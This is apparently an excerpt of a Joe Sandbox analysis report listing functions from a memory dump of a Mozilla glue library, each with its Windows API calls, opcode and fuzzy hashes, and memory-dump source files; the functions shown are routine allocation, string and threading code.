Opcode ID: 2e934eb3c800502bbeab8af90b80d8faca5abe6728d318f1837aac2dd9b7b9c6
Instruction ID: 90466a1aba761f7a16b7922b637baff2abaf4ad5e0e9c6e08744fa5c61362bf4
Opcode Fuzzy Hash: 2e934eb3c800502bbeab8af90b80d8faca5abe6728d318f1837aac2dd9b7b9c6
Instruction Fuzzy Hash: 7EE0B6B065D701ABDF006FA6E808705BEFCE75A75DF208116E925D2B00E7B4E005CF55

Function 6C9DBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9DBE49), ref: 6C9DBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9DBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9DBE49), ref: 6C9DBF38
RtlReAllocateHeap.NTDLL ref: 6C9DBF83
RtlFreeHeap.NTDLL ref: 6C9DBFA6

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 2c9076b28d9b5e40e46221b61386aa09198b3382ff41c93732e7ab4d52a7ddec
Instruction ID: 5b6c390fe6692bdc8d2500a040545aad0f33b59122ad91cc31dfaeb02969be83
Opcode Fuzzy Hash: 2c9076b28d9b5e40e46221b61386aa09198b3382ff41c93732e7ab4d52a7ddec
Instruction Fuzzy Hash: AA51D171A006018FE710DF69CD80BAAB7B6FF98314F2A8639D515A7B54D730F9168B81

Function 6C9C8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8EBF
free.MOZGLUE(?,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8F46
free.MOZGLUE(?,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F8F

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d5815f52911bccdaebdfcff228c667f3daecec2afbdb607fbb87cf9398af3807
Instruction ID: 1a56a746a8fab621ef0137893d5e4671fdfa384eb51ff7faf9c5761320358a83
Opcode Fuzzy Hash: d5815f52911bccdaebdfcff228c667f3daecec2afbdb607fbb87cf9398af3807
Instruction Fuzzy Hash: 6E5191B1B012168FEB18CF54D8806AE73B6BF45318F29052AD516AB740E731FA15CBE7

Function 6C9860E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9860F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C986180
free.MOZGLUE(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C986211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C986229
free.MOZGLUE(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C98625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C986271

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2a8349bf258989592afc8956f5e87f6d41ba5d4f51018f32b6d760fdd084686e
Instruction ID: d394cfb14edc73f770893179914603a8df1c2dc7200b5a28aae2af8a891200aa
Opcode Fuzzy Hash: 2a8349bf258989592afc8956f5e87f6d41ba5d4f51018f32b6d760fdd084686e
Instruction Fuzzy Hash: D551BCB1A122068FEB14CFA8D8907AEB7B5EF45308F24487DC616DB701E731EA19CB51

Function 6C9C27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C289A
free.MOZGLUE(?,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C2910
free.MOZGLUE(00000001,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C294E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 29ee080ab9e604856598ec07d443f918c1b854e4deda37f0a67a35bd36f30c5d
Instruction ID: 73c7a31fbe1a052d6ec96234447466a5ff9de32b9e7e70920d9e27141a3a2cd3
Opcode Fuzzy Hash: 29ee080ab9e604856598ec07d443f918c1b854e4deda37f0a67a35bd36f30c5d
Instruction Fuzzy Hash: 2C41C0B1B047068FEB14CF68D98476A73FAAB45308F240939D556EB740E731E904CB63

Function 6C97CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C97D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C97D139

Strings

MOZ_CRASH(), xrefs: 6C97D187

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 47e9f9e9c15cf627a9eeb3f694dfb0ac2d1ba930f2765c18a1b7167d828e0bdf
Instruction ID: 4c38a0140d5132350c4bb6de6448a6fc692c0f2d293042436a9b2f34c475dda8
Opcode Fuzzy Hash: 47e9f9e9c15cf627a9eeb3f694dfb0ac2d1ba930f2765c18a1b7167d828e0bdf
Instruction Fuzzy Hash: 4F41F232B063168FDB18CE7C9C9436A76F5EB49B24F240139E928E7784D7B19D018BE5

Function 6C974DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C974EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C974F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C974F1E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: c1cfe315889919c67a692bcc9415c56987e36085de7d28dcf9abdfce3768a91b
Instruction ID: 89c060df157899a1d5e082f2126d7903237f0d8f5741186aa1c601dddcec26e2
Opcode Fuzzy Hash: c1cfe315889919c67a692bcc9415c56987e36085de7d28dcf9abdfce3768a91b
Instruction Fuzzy Hash: 8641BF71609705DFC725CF29C88095BB7E8BF99354F108A2DF4A587A42DB30E954CFA2

Function 6C981530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C98159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C9815BC
moz_xmalloc.MOZGLUE(-00000001,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C9815E7
free.MOZGLUE(?,?,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C981606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C981637

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 55e9b46f0f317839b30be2e83c4ce35d6181ad57d6de5c43220004fd1a2c7452
Instruction ID: a387f4a024b500c23c8db6ce614e67a816cd62cb3fc3a4b2c1accaacbad810f6
Opcode Fuzzy Hash: 55e9b46f0f317839b30be2e83c4ce35d6181ad57d6de5c43220004fd1a2c7452
Instruction Fuzzy Hash: 6C31E572A011159BCB188E78D85087F77A9BB963747280F2DE873DBBD8EB30D9048791

Function 6C9DAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAD9D

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE3D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: fa5f465861ac1f0bf50ba6b50f7027f07f188ce152f24c811b11380fd3d9c486
Instruction ID: 41806599fc72ce76dd44c55db5d47c1ea4a7b3dc57f5d3f6c4deb8f1f8c6e926
Opcode Fuzzy Hash: fa5f465861ac1f0bf50ba6b50f7027f07f188ce152f24c811b11380fd3d9c486
Instruction Fuzzy Hash: 6D3166B1A006159FD714DF759C44AABBBF8EF58654F15882DE85AE7700EB34E804C7A0

Function 6C9D5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9EDCA0,?,?,?,6C9AE8B5,00000000), ref: 6C9D5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9AE8B5,00000000), ref: 6C9D5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C9AE8B5,00000000), ref: 6C9D5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C9AE8B5,00000000), ref: 6C9D5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9AE8B5,00000000), ref: 6C9D5FD6

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 989f7cf4772734ef7c8dff4a603e1a8a1d984d54e86280932a1c4cfe171900a0
Instruction ID: f47c57dac659bbeff7c80d292dd67c28c4b0795fb2c22f9a2290fe7ee1df19ab
Opcode Fuzzy Hash: 989f7cf4772734ef7c8dff4a603e1a8a1d984d54e86280932a1c4cfe171900a0
Instruction Fuzzy Hash: 10312774300A008FD714CF29C898F2ABBF9FF89319B658558E5668BB95C731EC51CB91

Function 6C97B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C97B532
moz_xmalloc.MOZGLUE(?), ref: 6C97B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C97B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C97B57E
free.MOZGLUE(00000000), ref: 6C97B58F

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec27258fdf4cc306c1d97a9d67ccfa67e2757f837df384f212dd5eaf462ee230
Instruction ID: b987d3a34324cb4fdd0df279113a6fbb8dfc7d476a1a9b2a359600f211c06eb7
Opcode Fuzzy Hash: ec27258fdf4cc306c1d97a9d67ccfa67e2757f837df384f212dd5eaf462ee230
Instruction Fuzzy Hash: 1F210571A052059BDB108F68CC40BAEBBB9FF96308F284129E818DB341E736D911C7A0

Function 6C97B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C97B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C97B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C97B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97B849

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 3bd3f2f24437b2a73a52e86105ad19bf8b7b6b595642aa9be3fe13e343a147ff
Instruction ID: 53c370305e8e92474c09425bdebfb9f245d92519203a1815107fa807071b59a7
Opcode Fuzzy Hash: 3bd3f2f24437b2a73a52e86105ad19bf8b7b6b595642aa9be3fe13e343a147ff
Instruction Fuzzy Hash: 4C214BB0E00209DFDF14DFA9D8855FEBBB4EF59218F188169EC15A7301E731A944CBA1

Function 6C9D6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9D6E78

Part of subcall function 6C9D6A10: InitializeCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6A68
Part of subcall function 6C9D6A10: GetCurrentProcess.KERNEL32 ref: 6C9D6A7D
Part of subcall function 6C9D6A10: GetCurrentProcess.KERNEL32 ref: 6C9D6AA1
Part of subcall function 6C9D6A10: EnterCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6AAE
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9D6AE1
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9D6B15
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9D6B65
Part of subcall function 6C9D6A10: LeaveCriticalSection.KERNEL32(6C9FF618,?,?), ref: 6C9D6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9D6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9D6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9D6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9D6EFF

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: badba5afd2cb69791276d01049d5e0b20202bd1a2f0523bf3c947058737b2b08
Instruction ID: a1cae7109e4081636d98aa688912ce26b4e42d1d215e87137d4b9f18ff52c18d
Opcode Fuzzy Hash: badba5afd2cb69791276d01049d5e0b20202bd1a2f0523bf3c947058737b2b08
Instruction Fuzzy Hash: AF21C771A042199FDB00CF69D88469E77F8EF88308F048439E80997240DB349A58CF92

Function 6C9D76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9D76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9D7705

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9D7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9D778F,00000000,00000000,00000000,00000000), ref: 6C9D7731
free.MOZGLUE(00000000), ref: 6C9D7760

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: c554754e8e4470f0ef45d5a4e1feb4eebcc2f5893b837f41fd83c160565696db
Instruction ID: d707b50fcc8e2f165c002d8314ca8ff72692ee6b953e643dcab4b2e039a68931
Opcode Fuzzy Hash: c554754e8e4470f0ef45d5a4e1feb4eebcc2f5893b837f41fd83c160565696db
Instruction Fuzzy Hash: 8111E2B1904215ABE710AFB69C44BAFBEF8EF55754F14492AF888A7300E370984087E2

Function 6C9B0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C973DEF), ref: 6C9B0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C973DEF), ref: 6C9B0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C973DEF), ref: 6C9B0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9B0D97, 6C9B0DBE
<jemalloc>, xrefs: 6C9B0D92, 6C9B0DB9

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: edf0408016936585e87664958bafc5fc102b0dfe37b70c61fd52b2a75d3544ec
Instruction ID: 69590aa122a14409e0a33fdf72deaf2da8af85b536f3fba13eec2bbda23cf364
Opcode Fuzzy Hash: edf0408016936585e87664958bafc5fc102b0dfe37b70c61fd52b2a75d3544ec
Instruction Fuzzy Hash: E1F089B138439833E72025665F0AB5B266D67C2B65F345039F225FADC0DAB0E4514BA5

Function 6C9C7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9C75C4,?), ref: 6C9C762B

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7644
GetCurrentThreadId.KERNEL32 ref: 6C9C765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7677

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
